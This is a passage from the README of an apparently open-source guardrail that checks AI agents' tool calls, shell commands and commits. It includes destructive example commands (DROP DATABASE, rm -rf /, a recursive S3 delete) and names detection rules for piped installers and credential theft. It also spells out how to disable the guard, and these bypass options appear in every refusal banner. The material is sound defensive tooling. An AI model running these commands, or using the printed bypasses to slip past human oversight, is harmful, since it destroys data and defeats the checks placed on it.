    safer alternative: If you really need to remove a database, do it
                       through your provider's console with a tested backup.
      migrations/2026_05_20_purge.sql:2  (block)  DROP DATABASE prod;

[shield-check-staged] commit REFUSED (Block-severity match).
To override: git commit --no-verify  OR  SHIELD_HOOKS_DISABLE=1 git commit ...

What pre-push blocks

The pre-push hook reads git's standard local_ref local_sha remote_ref remote_sha stdin and refuses:

• branch deletions of protected branches
• force-pushes (where the remote sha isn't an ancestor of the local sha) targeting protected branches

The default protected set is main, master, prod, production, release, release/*, prod/*, hotfix/*. Override at any time with SHIELD_PROTECTED_BRANCHES='trunk,deploy/*'.

Bypasses

Both hooks honour:

• git commit --no-verify / git push --no-verify (built into git)
• SHIELD_HOOKS_DISABLE=1 (env override; useful for CI / automation)

Both options are mentioned in every refusal banner so developers aren't trained to grep documentation.

Uninstall

aperion-shield --uninstall-hooks

Removes only Aperion-installed hooks (matched by the APERION-SHIELD-HOOK marker), refuses to touch anything else, and restores any <hook>.aperion-backup chain partner.

--suggest-rules: tune your shieldset from your own audit log (new in v0.7)

Shields are policy-as-code. The hard part isn't deploying one — it's keeping it well-fit over months: which rules turned out to be dead weight, which are noisy, which would be safe to demote. v0.7 ships an analyzer that reads the same JSONL audit Shield's been writing all along and tells you what to review.

Capture the audit

In standalone mode Shield writes one JSON line per evaluation to stderr. Redirect that to a file:

aperion-shield -- npx @modelcontextprotocol/server-postgres ... \
    2>>~/.aperion-shield/audit.jsonl

(Org-mode users already have this server-side via the Smartflow control plane — --suggest-rules is for the OSS standalone tier.)

Ask for suggestions

aperion-shield --suggest-rules \
    --audit-log ~/.aperion-shield/audit.jsonl

Default output (text):

[shield-suggest-rules] 3 suggestion(s):

  [CONSISTENTLY_DEMOTED] sql.grant_all
    Fired 27 time(s); the adaptive layer demoted EVERY observation
    from `Critical` down to `Low`.
    Suggestion: bump the static `severity:` from Critical to Low (or remove
    `severity:` entirely and let the adaptive layer decide).

  [NOISY_WARN] fs.write_etc
    Fired 14 time(s); every observation resolved to `warn` (never
    escalated). This rule is eating composite-score headroom for
    higher-stakes rules without ever blocking the call.
    Suggestion: consider dropping severity to `Low` so it stops
    contributing composite points OR add an exclude rule for the
    specific call shape that's spamming it.

  [RULE_NEVER_FIRES] supply.npm_install_evil_registry
    Did not fire over the last 30 day(s) of audit log.
    Suggestion: review whether this rule is still needed for your
                environment. Do NOT remove blindly — "never fired"
                can mean "nobody's tried this destructive thing yet,"
                which is exactly the case Shield exists for.

Output formats

The YAML-patch output for the example above:

# CONSISTENTLY_DEMOTED: sql.grant_all
#   rationale: 27 fires; every one demoted from Critical to Low.
- id: sql.grant_all
  severity: Low

# NOISY_WARN: fs.write_etc
#   rationale: 14 fires, all resolving to `warn`. Never escalated.
- id: fs.write_etc
  severity: Low

# RULE_NEVER_FIRES: supply.npm_install_evil_registry
#   rationale: 0 audit rows in the last 30 day(s).
#   action: REVIEW. We do not auto-suggest removal.

What the three suggestion classes mean

Knobs

• --audit-log PATH (required) — JSONL file to analyze.
• --suggest-window-days N — analysis window. Default: 30. Pass 0 for all.
• --suggest-min-occurrences N — threshold for the two count-based classes. Default: 5.
• --suggest-format FMT — text (default) / markdown / yaml-patch.
• --rules PATH — explicit shieldset (so we know the full rule list for RULE_NEVER_FIRES). Defaults to bundled.

Exit codes: 0 = no suggestions (nothing to tune). 1 = at least one suggestion (useful for CI policy gates that want a heads-up).

What does Shield catch out-of-the-box?

The bundled ruleset covers eight destructive surfaces with 45+ rules:

How it decides (adaptive scoring, new in v0.2)

A regex-only guardrail is brittle in both directions: it under-fires when an agent paraphrases its way around a literal pattern, and it over-fires on legitimate commands that happen to lexically resemble something dangerous. Shield's design bet is that the decision should be a composite of multiple weak signals, not a single regex match, because the false-positive rate is what determines whether the tool gets deployed at all.

So instead of "did rule X match? — block / allow," Shield runs every rule in parallel, sums their contributions, and then adjusts the result against four context signals: the workspace, the user's prior decisions on similar fingerprints, the rate of destructive operations in the last five minutes, and the threshold curve in the shieldset itself. A single Medium-rated match is a warning; three independent Medium matches on the same call stack into a High and trigger a human approval. A prior denial of the same fingerprint within a week escalates the next match by one tier; three prior approvals demote it. A burst of five destructive matches in a 5-minute window bumps every subsequent match in the window by one tier until the burst clears.

The result is fewer false-positive prompts on benign repeats, harder gates on the operations that actually matter, and a teach-as-you-go safer_alternative hint on every block. The five signals:

Memory lives at .aperion-shield/decisions.jsonl in your project root. It never leaves your machine; the standalone is offline-only.

You can layer your own rules on top via --rules my.yaml.

Shell shims (new in v0.8)

aperion-shield --install-shims writes tiny /bin/sh wrappers that route every invocation of selected CLIs through Shield's engine before the call reaches the real binary. This closes the parallel bypass surface to v0.7's git hooks: where the hooks catch destructive code landing in a commit, the shims catch destructive commands the agent runs directly from a shell.

Install

# install shims for every supported command (10 by default)
aperion-shield --install-shims

# OR pick a subset
aperion-shield --install-shims --for aws,kubectl,terraform

# OR install into a different directory (default: ~/.aperion-shield/bin/)
aperion-shield --install-shims --shim-dir ~/bin/aperion

Shield prints exactly what to add to your shell rc so the shim dir wins lookup against the system binaries:

zsh   : echo 'export PATH="$HOME/.aperion-shield/bin:$PATH"' >> ~/.zshrc
bash  : echo 'export PATH="$HOME/.aperion-shield/bin:$PATH"' >> ~/.bashrc
fish  : fish_add_path -p '$HOME/.aperion-shield/bin'
cmd   : setx PATH "%USERPROFILE%\.aperion-shield\bin;%PATH%"

On Windows the shims are aws.cmd (PATHEXT). Same --install-shims.

Supported commands (out of the box)

(You can also shim arbitrary commands — the shieldset is the source of truth for what counts as destructive. Default list just bounds what --install-shims instruments without a --for filter.)

What happens on a refused call

$ aws s3 rm --recursive s3://prod-bucket
[aperion-shield/check-cmd] APPROVAL-REQUIRED -- `aws s3 rm --recursive s3://prod-bucket`
  rule    : cloud.aws_s3_recursive_delete  (severity=High)
  reason  : Bulk S3 delete -- irreversible if versioning is off.
  suggest : Enable versioning, then use lifecycle rules to expire -- never `--recursive --force`.
  note    : approvals require an MCP-mediated invocation (this shim cannot prompt)

bypass options for a single invocation:
  SHIELD_SHIMS_DISABLE=1 <command> ...   (env override, one-shot)
  aperion-shield --uninstall-shims        (remove all shims)

The real aws binary is never exec'd when Shield refuses. The exit code propagates so CI scripts notice the refusal.

Bypass / disable

Exit codes (--check-cmd)

Same table as --check-staged so operators only memorise one set:

Coexistence with existing wrappers

If you've hand-rolled a wrapper at ~/.aperion-shield/bin/aws (or wherever your shim dir is) before installing Shield, --install-shims refuses to overwrite it — exits 1, leaves your file alone, and tells you what it found. Pick a different --shim-dir, or delete your file yourself first.

List / inspect

aperion-shield --list-shims
# /Users/me/.aperion-shield/bin/:
#   [shield ] aws
#   [shield ] kubectl
#   [shield ] terraform
#   [foreign] my-custom-wrapper       <- not Shield-managed

Uninstall

aperion-shield --uninstall-shims
# REMOVED  aws
# REMOVED  kubectl
# REMOVED  terraform
# KEPT     my-custom-wrapper           (no Aperion marker; left alone)

--explain: walk through any decision (new in v0.8)

Shield's adaptive scoring is one of its strengths and one of the most common sources of "wait, why did that call get gated?" operator confusion. --explain answers the question in one shot — which rules tripped, which adjustment signals fired, where the severity tiers actually chained, and what the safer alternative is.

Run it

# from a file
aperion-shield --explain --input call.json

# from stdin
echo '{"name":"shell","arguments":{"command":"rm -rf /"}}' \
    | aperion-shield --explain --input -

# from a heredoc
aperion-shield --explain --input - <<'EOF'
{"name": "execute_sql", "arguments": {"query": "UPDATE users SET email_verified=TRUE WHERE email_verified=FALSE"}}
EOF

Accepts either descriptor shape:

Output formats

aperion-shield --explain --input call.json                          # text (default)
aperion-shield --explain --input call.json --explain-format markdown # PR-comment friendly
aperion-shield --explain --input call.json --explain-format json    # stable schema

text (default)

shield --explain
────────────────
tool   : shell
call   : {"command":"rm -rf /"}

rules matched ............................. 1
  fs.recursive_delete_root         Critical   pts=8

adjustments applied ....................... 0
  (none)

severities
  raw       : Critical
  composite : High  (composite_points=8)
  final     : Critical

decision .................................. BLOCK
  rule_id  : fs.recursive_delete_root
  severity : Critical
  reason   : rm -rf on filesystem root is forbidden.
  suggest  : Scope to a specific subdirectory, e.g. `rm -rf ./build/`.

markdown — drops cleanly into a PR review comment

### `aperion-shield --explain`

| field | value |
|---|---|
| tool | `shell` |
| call | `{"command":"rm -rf /"}` |
| decision | **BLOCK** |
| final severity | `Critical` |

**Rules matched (1):**

| rule | severity | points | reason |
|---|---|---|---|
| `fs.recursive_delete_root` | `Critical` | 8 | rm -rf on filesystem root is forbidden. |

...

json — stable schema for tooling

{
  "tool": "shell",
  "arguments": {"command": "rm -rf /"},
  "rules_matched": [
    {
      "rule_id": "fs.recursive_delete_root",
      "severity": "Critical",
      "points": 8,
      "reason": "rm -rf on filesystem root is forbidden.",
      "safer_alternative": "Scope to a specific subdirectory, ..."
    }
  ],
  "adjustment_signals": {
    "workspace_is_prod": false,
    "burst_in_progress": false,
    "fingerprint_repeatedly_approved": false,
    "fingerprint_recently_denied": false
  },
  "severity_raw": "Critical",
  "severity_composite": "High",
  "severity_final": "Critical",
  "composite_points": 8,
  "decision": {
    "kind": "block",
    "rule_id": "fs.recursive_delete_root",
    "severity": "Critical",
    "reason": "rm -rf on filesystem root is forbidden.",
    "safer_alternative": "...",
    "contributing_rules": []
  }
}

What-if exploration

The four --explain-force-* flags let you ask "what would the same call decide in a different context?" without rebuilding the actual environment:

Use the JSON output + --explain-force-prod together to drive a "would this break in prod?" status check on a PR.

Exit codes (--explain)

Mirror --check-cmd so the same CI plumbing works:

Identity gates (new in v0.5)

For the highest-blast-radius calls -- DROP DATABASE, force-push to a protected branch, aws rds delete-db-instance, an unscoped UPDATE on prod, or whatever you decide is "a human signature should be on this" -- a block or approval isn't always enough. You want a fresh proof that the person on the other end of the keyboard is who they claim to be, right now, before the call is forwarded.

Identity gates do that. Any rule can carry an identity: block:

shieldset:
  version: 1
  rules:
    - id: sql.drop_database
      severity: Critical
      where: tool_call
      match:
        tool: [execute_sql]
        sql_predicate: drop_database
      identity:
        require: true            # gate this rule on a fresh identity proof
        ial: 2                   # NIST IAL2 minimum (in-person or remote biometric)
        aal: 2                   # NIST AAL2 minimum (MFA bound to a hardware token)
        max_age_seconds: 300     # proof must be < 5 min old
        scopes: ["destructive_db"]
      reason: "DROP DATABASE is never auto-allowed."

When that rule fires, Shield emits a Decision::IdentityVerification to the caller (the agent, surfaced in the IDE), opens a local callback server, and waits for the user to complete an OIDC flow with the configured provider. On success it caches an Ed25519-signed proof in ~/.aperion-shield/proofs/ (mode 0600). Subsequent calls within max_age_seconds re-use the cached proof; older proofs force a fresh verification.

Providers

Config lives at ~/.aperion-shield/identity.yaml (or pass --identity-config path.yaml). An annotated example is at examples/identity.yaml.

CLI

# Disable identity gating entirely (rules' identity blocks become plain Approval/Block).
aperion-shield --no-identity -- npx ...

# Inspect the cached-proof store.
aperion-shield --identity-list

# Drop every cached proof; forces re-verification on the next gated call.
aperion-shield --identity-flush

ID.me sandbox access is pending; until then the mock provider is the recommended default and the YAML schema is stable.

Org mode (new in v0.5)

Standalone Shield is single-machine, offline, and never phones home. That's the right default for individual developers and tight engineering teams. But once you have ten or a hundred Shields running across a workforce, you'll want:

• one shieldset for the whole org, versioned centrally
• audit centralised in one place, tamper-evident
• identity gates that lean on your existing IdP, not on per-laptop config
• a kill-switch that disables a compromised laptop in <60s

Org mode is the upgrade path. The same aperion-shield binary in this repo, when enrolled into a Smartflow control plane, becomes a tenant-aware client. Out of the box it is dormant. You opt in:

# 1. From a Smartflow admin console: mint an enrollment token (one-shot, scoped).

# 2. On the user's laptop, once:
aperion-shield --enroll \
    --smartflow-url https://shield.your-tenant.smartflow.ai \
    --token sf_enroll_eyJhb...

# Persists an Ed25519 vkey at ~/.aperion-shield/orgmode.json (mode 0600).
# Subsequent `aperion-shield` runs:
#   - pull policy from the control plane on startup
#   - watch a long-poll endpoint for shieldset / killswitch updates
#   - stream every decision as a signed audit record upstream
#   - use the tenant's IdP as the identity-gate relying party

Status:

aperion-shield --status
# Standalone:  prints "standalone (not enrolled)" and exits 0.
# Enrolled:    prints tenant ID, last policy sync, last heartbeat, etc.

The control-plane code path only activates once you enroll. Without an enrollment token + Smartflow URL the org-mode subsystem stays inert -- Shield runs identically to the standalone configuration.

Why ship the client code in the OSS binary? Because:

1. It's the bridge to the paid product. Engineers exploring the OSS today should be able to read exactly how the upgrade works -- no binary swap, no re-install, no surprise dependencies. When their shop buys Smartflow, the laptops they already have keep running.
2. Auditability. The wire protocol, the signing scheme, the policy-pull semantics, and the audit-record format are all in src/orgmode/. You can review them before adopting.
3. Inert until enrolled. The code does not initiate any outbound traffic, look at any env vars, or open any sockets until --enroll has been run and a vkey is persisted on disk.

Smartflow itself (the control plane, the dashboards, the EU-AI-Act conformity console, the WORM audit chain) is a separate, commercial product at aperion.ai. The wire format the OSS client speaks is documented in src/orgmode/mod.rs.

Operating modes

Default mode is enforce: Critical-severity decisions hard-block, and High-severity decisions require human approval before the call is forwarded.

# Pure observability — never blocks; ideal for the first week
aperion-shield --shadow -- npx @modelcontextprotocol/server-postgres ...

# CI / unattended use — never prompt, deny anything High
aperion-shield --auto-deny-high -- npx @modelcontextprotocol/server-postgres ...

Workspace probe (prod-shaped repos run stricter)

Shield boots a tiny "is this a production-shaped workspace?" probe at startup. If the CWD contains any of these signals, every match in this session gets a +1 severity bump -- a warn becomes an approval, an approval becomes a block, a block stays a block:

.env.production    .env.prod              kubeconfig
prod/              production/            .kube/config
Procfile           production.yml         production.yaml
k8s/prod/          deploy/prod/           .terraform/terraform.tfstate

This is by design: when you're operating an agent in a workspace that already touches live infrastructure, you want a harder gate. In a vanilla project root the probe doesn't fire and you see the raw rule output. The probe also runs at the cwd Shield started in, NOT at $HOME -- so dropping a kubeconfig in your home directory doesn't affect Shield invocations launched from a clean repo.

Three ways to inspect / control:

# Confirm what the probe sees right now (printed in startup banner).
aperion-shield --check --no-memory < /dev/null
# [shield-check] ... workspace_prod=false signals=[]

# Override the probe root -- useful for batch testing.
aperion-shield --check --workspace /tmp/empty < cases.jsonl

# Disable the probe entirely (raw rule output, no bumps).
aperion-shield --check --no-workspace-probe < cases.jsonl

For interpreting wide-scale runs: anchor on the realistic-project- root number (probe off OR run from a vanilla repo). The probe-on number is the "strictest-mode preview" for prod-shaped workspaces.

Mining your own Cursor history as a test corpus

If you use Cursor (or Claude Code), every agent conversation is stored on disk as JSON-Lines. scripts/extract-cursor-corpus.py walks all of your transcripts, pulls out shell commands and assistant text, redacts obvious secrets, deduplicates, and emits the exact JSON-Lines schema aperion-shield --check expects -- so you can run Shield against your actual workflow before ever wiring it into the IDE.

# Mine all transcripts under ~/.cursor/projects, then evaluate them all.
python3 scripts/extract-cursor-corpus.py --shell-only \
  | aperion-shield --check --no-memory --no-burst \
  | jq -c 'select(.decision != "allow")'

# Mine just one project, save the corpus for re-use.
python3 scripts/extract-cursor-corpus.py \
    --project Smartflow --shell-only \
    --out my-corpus.jsonl
aperion-shield --check < my-corpus.jsonl > decisions.jsonl

# Include assistant text turns (llm_response scope rules) too.
python3 scripts/extract-cursor-corpus.py > my-corpus.jsonl

# Disable redaction (default-on) only if you've reviewed the patterns.
python3 scripts/extract-cursor-corpus.py --raw ...

The extractor is read-only, reads only your local Cursor transcript files, redacts AKIA/sk-/ghp_/JWT-shaped tokens before output, and de-duplicates by command/text. The corpus this produces is exactly what was used to validate Shield against ~13k real-world commands and drove the v0.3 rule-quality improvements (false-positive rate dropped from 73% to 1.5%).

Wide-scale testing without an IDE

Want to throw hundreds of synthetic tool-calls at the engine before wiring it into Cursor? Shield ships a one-shot --check mode that reads JSON-Lines from stdin, runs each one through the full engine (rules + composite scoring + workspace probe + memory + burst), and emits one decision per line to stdout.

# One-off
echo '{"tool":"execute_sql","params":{"query":"DROP DATABASE x"}}' \
  | aperion-shield --check

# Batch — JSON-Lines in, JSON-Lines out
aperion-shield --check < tests/corpus/golden.jsonl

Input schema per line (the expect field is optional and enables pass/fail grading + a non-zero exit on any mismatch):

{"tool":"execute_sql","params":{"query":"DROP DATABASE x"},"expect":"block"}
{"text":"I will rm -rf /","expect":"warn"}

The bundled corpus at tests/corpus/golden.jsonl covers every shipping rule (positive + negative cases). The scripts/check-corpus.sh wrapper formats the output for humans:

# Build once, run the corpus
cargo build --release
SHIELD_BIN=./target/release/aperion-shield scripts/check-corpus.sh

# Against your own corpus
SHIELD_BIN=./target/release/aperion-shield scripts/check-corpus.sh ./my-cases.jsonl

# With a custom ruleset and a fixtured prod workspace
RULES=my.yaml WORKSPACE=/tmp/fake-prod \
  SHIELD_BIN=./target/release/aperion-shield scripts/check-corpus.sh

--check honours the same --rules, --no-workspace-probe, --no-memory, and --no-burst flags as the MCP-proxy mode. There's also a --workspace <PATH> flag (check-mode only) that overrides the prod-probe root so you can simulate "what would happen in a prod repo" without cd-ing anywhere. Decision memory and burst are auto-disabled inside check-corpus.sh for deterministic batch runs.

Reviewing shieldset.yaml changes like code

Tightening one regex can add 50 approval prompts to your team's day. Loosening one can silently let a destructive call through. Neither outcome should land without PR review and a corpus-level dry-run.

See docs/shieldset-as-code.md for the full pattern: a four-layer test stack (load → golden corpus → your team's actual Cursor history → human-readable behavior diff with rule attribution), a drop-in GitHub Actions workflow that runs all four on every PR and posts the behavior diff as a PR comment, and a PR review checklist for both the author and the reviewer.

The behavior-diff explainer (scripts/shield-diff.py) takes two shieldsets and a corpus and prints exactly which rule caused which lines to flip — "supply.curl_pipe_sh fires on 27 new lines, all allow → approval, expect ~27 more daily prompts" — so the PR reviewer reads consequences instead of jq diffs.

Approving a request

When a High-severity rule fires, Shield logs a line like:

[shield] APPROVAL REQUIRED rule=sql.unscoped_update ticket=shld_<uuid> tool=execute_sql
[shield] To approve, write 'approve shld_<uuid>' to ./.aperion-shield/inbox  (waiting 60s)

To approve, in a second terminal:

echo "approve shld_<uuid>" >> .aperion-shield/inbox

To deny:

echo "deny shld_<uuid>" >> .aperion-shield/inbox

If 60 seconds pass with no decision, the call is denied.

Pre-install audit: --scan (v1.0)

Audit an MCP server BEFORE it is ever wired into your IDE. Scan complements runtime enforcement: it catches a bad server at install time, TOFU pinning catches the rug pull three weeks later, and the engine blocks whatever slips through at call time.

# a local checkout, a GitHub URL, or an npm package name:
aperion-shield --scan ./some-mcp-server
aperion-shield --scan https://github.com/owner/mcp-server
aperion-shield --scan npm:some-mcp-package

# add `-- <cmd...>` to also run the LIVE catalog audit: the server is
# launched (under --sandbox if set), sent tools/list, and its catalog
# is run through the tool_description rules -- without the catalog
# ever reaching an agent:
aperion-shield --scan ./srv --sandbox secrets -- node ./srv/index.js

# machine-readable output:
aperion-shield --scan npm:some-mcp-package --scan-format json

Four passes:

1. Static source signatures — credential reads (~/.ssh, cloud creds, browser stores), environment exfiltration, dynamic execution (eval, child_process, computed require), obfuscation (runtime base64/hex decode, charcode assembly), npm install-time hooks. Fetching never executes anything: npm pack for packages, shallow clone for GitHub.
2. Typosquat name-similarity (npm targets) — compares the target package name against a curated list of well-known MCP servers, flagging separator/case variants (mcp_shield vs. the real mcp-shield — visually indistinguishable) and small edit-distance typos (homoglyph-style single-character swaps). Pure string comparison, no network — runs even under --scan-offline.
3. Supply-chain metadata (npm targets) — package age, maintainer count, weekly downloads, and known vulnerabilities from OSV.dev. Skipped with --scan-offline.
4. Live catalog audit (opt-in via trailing -- <cmd...>) — the same tool-poisoning rules the proxy enforces at runtime, applied point-in-time, with the launch confined by --sandbox.

Exit codes: 0 pass, 1 caution (Medium findings), 2 fail (High/Critical findings) — CI-friendly.

Sandboxing the upstream (v1.0)

Shield spawns the upstream MCP server, which makes it the natural place to confine that process at the OS level. Protocol filtering and process confinement are layered defenses: the rule engine stops malicious messages, the sandbox limits what the server process can touch outside the MCP channel entirely.

# deny the upstream access to credential material (~/.ssh, ~/.aws,
# ~/.gnupg, kube/gcloud/azure configs, ~/.netrc, Docker creds):
aperion-shield --sandbox secrets -- npx -y some-mcp-server

# everything `secrets` does, plus: writes only inside the working
# directory and /tmp, and no network unless explicitly granted:
aperion-shield --sandbox strict --sandbox-allow-network -- npx -y some-mcp-server

# a git MCP server you